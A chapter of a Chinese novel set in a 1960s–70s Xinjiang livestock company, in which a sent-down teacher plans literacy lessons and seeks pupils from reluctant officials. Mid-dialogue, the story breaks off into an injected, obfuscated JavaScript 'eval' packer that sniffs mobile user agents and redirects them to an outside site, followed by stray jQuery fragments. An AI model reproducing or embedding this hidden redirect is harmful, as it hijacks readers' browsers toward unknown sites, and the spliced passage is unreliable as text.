回到地窝子时，天已黑透。舒染掀开毡子进去。
周巧珍已经躺下了，面朝里墙，用被子蒙着头。王大姐正就着昏暗的灯光缝补一件旧衣服，李秀兰则蜷在角落，似乎在发呆。
“舒染同志回来啦？”王大姐抬起头，和气地招呼了一声。
“嗯。”舒染应着，走到自己铺位前，放下搪瓷盆。她脱下外套，叠好放在樟木箱上。目光无意间扫过自己的外套口袋缝隙——那里似乎卡着一个白色小纸角。
舒染心中一动，不动声色地坐了下来，借着整理衣服的姿势，手指飞快地探入缝隙，将那折叠的小纸条夹了出来攥在手心。
她若无其事地站起身，走到地窝子深处的水桶边舀水洗漱。
在昏暗的光线下，她背对着其他人展开纸条。上面是几行略显潦草但还算工整的字迹：
舒染同志：
食堂匆匆一瞥，见你神色郁郁。戈壁风沙粗粝，上海故园温软，同是天涯沦落人，文彬感同身受。若有闲暇，盼能一叙。同乡之谊，或可稍慰孤寂。阅后即焚。
周文彬
舒染眉头微蹙。这个周文彬，这种时候递这种纸条，风险太大了。
她没有任何犹豫，将纸条凑到旁边那盏墨水瓶改的煤油灯上。火苗迅速蔓延，舒染看着它化为一小撮灰烬。
同是天涯沦落人？舒染扯了扯嘴角。
洗漱完，舒染坐回自己的铺位。她拿出从上海带来的硬皮笔记本和一支钢笔。又从樟木箱底层翻出几本旧书：一本《新华字典》、一本《算术》、一本薄薄的《自然常识》，还有一本封面磨损严重的《革命歌曲选》。
她小心翼翼地拧开墨水瓶盖，用钢笔尖蘸了蘸墨水。光线实在太暗，她不得不把脸凑得很近，才能看清纸上的格子。
备课，从何备起？她对这里地学生一无所知。
舒染想了想，转头看向还在缝补的王大姐，压低声音问道：“王大姐，跟您打听个事儿。咱连队里，能来上学的娃娃们，大概有多少？都多大年纪？以前……有人教过他们认字吗？都是些啥样的娃？”
王大姐停下针线，把针在头发里篦了篦，叹了口气：“唉，娃娃们啊……这说起来可就杂了！”
她掰着手指头数落起来：“先说那大的小的。大的有十二三了，个头都快赶上大人了，小的呢，也就刚断奶没多久，七八岁的也有。拢共……估摸着能有十几个吧？这人数也说不准，看各家各户忙不忙，孩子有没有空。”
“再说这娃娃们哪儿来的？”王大姐朝门外努努嘴，“咱们这畜牧连，老老少少，都是天南海北凑一块儿的！有像俺男人那样，是五几年跟着部队转业留下来的老职工，俺是后来从河南老家投奔来的，可惜没见着面人就没了；还有的人是前几年响应号召，从各地来的支边青年；还有你们这样新来的知青。这些职工的娃娃，都是汉娃。”
她顿了顿，声音压低了些：“还有不少呢，是这戈壁滩上原先就住着的‘老新疆’！他们好些人就在连队附近放牧，或者也在连里帮工。他们的娃娃也常跟咱们的娃娃一块儿耍。”
说到这儿，王大姐眉头皱了起来，像是想起了什么难事：“这些少数民族娃娃啊……麻烦就麻烦在说话上！他们在家都说自个儿的族语，叽里咕噜的，咱们汉族人一句也听不懂。跟咱们的娃娃玩久了，倒是能听懂几句最简单的话，像‘吃饭’、‘喝水’、‘过来’、‘回去’啥的，但也就这样了！稍微复杂点的，比如‘把那个筐拿过来’、‘羊跑到哪边去了’，那就跟听天书似的，全靠比划！”
她无奈地摇摇头：“以前哪有人正经教过他们认字？咱们汉人的娃娃都顾不过来呢！都是放羊的放羊，拾柴的拾柴，帮家里干点零碎活。认字？能数清楚自家几只羊就不错了！最大的那个汉人男娃，叫石头的，他爹是连里的记分员，好像跟着他爹认过几个工分本上的字，能歪歪扭扭写出自己名字。那些少数民族娃娃，还有更小的那些，更是连笔都没摸过，连自个儿名字用汉话咋说都未必知道！”
舒染更焦虑了。这些学生年龄跨度大，基础几乎为零，这已经够难了。十几个孩子里，可能有一半连她说的话都听不懂。这扫盲的难度，简直是地狱级。
“那……明天要是开课，娃娃们能来吗？特别是那些少数民族的孩子，他们家里能同意吗？”舒染抱着最后一丝希望问。
“这……”王大姐面露难色，声音压得更低了，“舒染同志，这话我跟你说了，你可别往外传是俺说的。赵主任那人……嘴上答应了给你地方，心里头未必乐意。娃娃们的爹妈也难，队上活儿重，少个劳力就少份工分。汉人家里还好说点，那些少数民族家里……他们更看重娃娃帮着干活，放羊、挤奶、看弟弟妹妹，那都是顶要紧的事！而且……”
她迟疑了一下，“他们可能觉得学汉话汉文没啥大用？明天能不能来，能来几个，真不好说。汉娃能来几个就不错了，少数民族的娃娃……你得有个准备，可能一个都难。”
舒染的心凉了半截。情况比她预想的更糟。她点点头，没再多问，坐回铺位。
教什么？怎么教？
脑海里闪过无数她在21世纪时，学到的、用到的教育实践知识……
她深吸一口气，笔尖落下，在笔记本第一页写下了开学第一课的教学设计。
“名字……必须会写名字！”她喃喃自语，笔尖终于落下，在“开学第一课”下重重写下“姓名”二字。
“工分！这是命根子！”她又写下“工”、“分”。
“还有手！劳动的手！放羊的手！”
“手”字紧随其后。她的思路越来越清晰，笔尖飞快移动：羊、马、水、数字、日、月、大、小……这些最基础、与生活息息相关的字眼，被她一个个圈出来。
她想起王大姐说孩子们能听懂“吃饭”、“喝水”这样的简单词。
“对！就从这些开始！”她又在旁边写下“吃”、“饭”、“喝”。
为了那些听不懂的少数民族孩子，她翻开空白页，熟练地画起简笔画，思考着如何把复杂的笔画拆解得更简单，想象着孩子们茫然的眼神……
直到油灯里的火苗越来越微弱，她才勉强合上写满字和画的笔记本。
舒染吹熄了灯，躺进新褥子里。身体满是疲惫，大脑却异常清醒。
明天，会是什么局面？十几个孩子？几个孩子？还是一个都没有？赵卫东会不会临时变卦？周巧珍会不会使绊子？
她在脑海里模拟着可能出现的场景，思考着应对的办法。直到后半夜，才沉沉睡去。
*
天刚蒙蒙亮，舒染就起来了。她用水洗了把脸，换上一件耐磨的旧罩衫，把头发编成辫子盘在脑后。她拿起昨晚写好的笔记本和几本书，走出了地窝子。
她先去了工具棚教室。清晨的光线透过屋顶的破洞和墙缝照进来，显得棚子里面明亮了许多。她将土坯课桌摆得更整齐些，吹了吹上面的浮尘。
万事俱备，只欠东风。
她走向生产办公室。赵卫东通常很早就开始安排一天的活计。
果然，办公室门开着，赵卫东正对着墙上的生产进度图皱眉，手指在一个标着“严重滞后”的指标上敲打着。马技术员蹲在门口，叼着莫合烟卷，一脸愁容。
“报告！赵主任！”舒染站在门口，声音清亮。
赵卫东转过头，看到是她，眉头锁得更紧，语气不耐：“舒染同志？这么早？有事快说，我这忙着呢！今天三排的排碱渠要是再挖不完，全连都得吃挂落！”
“赵主任，我就几句话，不耽误您时间。”舒染走进来，态度恭敬地说：“昨天您批了地方，教室我已经初步收拾出来了。今天准备开始教学。关于学生的问题，我想再跟您明确一下。”
“学生？什么学生？”赵卫东像是才想起这茬，挥挥手，“哦，上面安排了你脱产搞什么娃娃们的扫盲，这个陈干事和我说了。至于那些娃娃啊！我不是说了嘛，你自己看着办！谁有空谁去！但前提是不能耽误队上的活儿！娃娃们该干啥还干啥！”
“赵主任，”舒染耐着性子解释，“教学需要一定的连续性和秩序。我想知道，连里有没有一个相对固定的、适合学习的年龄段的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996815|178209||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
孩子名单？大概有多少人？每天能保证多少学习时间？这样我好安排课程进度。”
赵卫东像是听到了什么天方夜谭，嗤笑一声，从桌上拿起他的旧搪瓷缸子灌了一大口水：“固定的名单？学习时间？舒染同志，你当这是上海滩的洋学堂啊？这里是边疆的畜牧连！是生产建设第一线！”
他放下缸子，抹了把嘴，语气带着不容置疑的口吻：“听着！连里就这一个班！没有别的老师，就你一个人！你就是校长、班主任、各科老师！全包圆儿了！”
舒染虽然早有心理准备，但亲耳听到这“一人学校”的宣判，心还是一沉。
赵卫东没理会她的脸色，继续下达指令：“至于娃娃们，你自己去各家各户问！去羊圈马号里找！谁家爹妈同意，谁家娃娃那会儿没活儿，你就教！教什么你自己定！但有几条红线你给我记住喽！”
他竖起一根手指，盯着舒染，“第一，安全！娃娃在你那破棚子里少根汗毛，我唯你是问！第二，绝对不能鼓动娃娃们逃避劳动！该干的活儿一点不能少！第三，也是最重要的！”他加重语气，手指几乎戳到舒染面前，“政治方向绝对不能出问题！要是教出思想有问题的，舒染同志，别说你这老师当不成，你这责任可就大了！”
旁边的马技术员吐了口烟圈，帮腔道：“老赵说得对！最后一个是头等大事！舒老师，你以前那个家庭背景……更得注意！教娃娃们唱唱革命歌曲，念念语录，认认‘抓革命，促生产’这些字，最稳妥！”
赵卫东最后拍板：“就这么定了！地方给你了，名头给你了，怎么弄是你的事！连里一没人手二没经费帮你！你自己克服困难！好了，没事就赶紧去准备吧，别在这杵着了！”
“明白了，赵主任。我会克服困难，保证政治方向正确，努力把教学工作做好，不耽误生产。”
走出生产办公室，舒染深吸一口气，压下心头的憋闷。名单、固定学生、学习时间通通没有。一切都要靠她自己。
她没回工具棚，而是转身走向陈远疆的临时办公室。既然他给了“启明小学”的名分，张干事说他又负责新人安置，那找他帮忙合情合理。
敲了敲门，里面传来低沉的一声：“进。”
推门进去，陈远疆正伏在一张旧木桌上写着什么。
桌上摊着几份文件。他抬起头，看到是舒染，眼中闪过一丝讶异。
“陈干事，”舒染站定，开门见山地说：“启明小学今天准备开课。但赵主任说，学生需要我自己去动员。我对连队人员情况不熟，特别是职工家里有适龄儿童的，以及附近牧区可能送孩子来的家庭，完全没有头绪。想麻烦您，看看有没有连队登记在册的家属子女名册？这是组织安排给我的教学工作，我需要基础信息才能开展。”
陈远疆放下笔，目光在她脸上停留片刻。沉默几秒，他拉开桌下一个抽屉，翻找片刻，抽出一张折叠的纸。
“连队职工家属子女名册，”他将纸推到桌边，“登记在册的适龄儿童十二人，年龄七到十三岁。住址有标注。”
他又从抽屉深处拿出一本更薄的册子，“附近常驻放牧点大约是三家。各家适龄儿童情况不详，需实地了解。”
他用手指在桌上虚划了一下，“牧区位置，出连队西侧，沿排碱渠走约三里，地势稍低洼处，有一小片依托地下泉眼形成的胡杨林和红柳区。牧民们就在林带边缘和下游的草甸上放牧，那是附近几十里内水源最稳定的地方。”
他的语速不快，信息提供得清晰精准。
“谢谢陈干事！”舒染如获至宝，赶紧拿起那两张纸。
职工名册上写着名字、父母姓名、年龄，后面跟着“地窝子X排X号”或“土坯房东X间”之类的地址。
牧区那本薄册子则只有户主名字和大致方位。
“牧区情况复杂，语言不通，风俗各异。”陈远疆看着她，补充了一句，语气平淡却带着提醒，“注意方式方法。安全第一。”
“我明白，谢谢提醒。”舒染郑重道谢，将两张纸小心折好揣进口袋。有了这份资料，她的心里踏实了许多。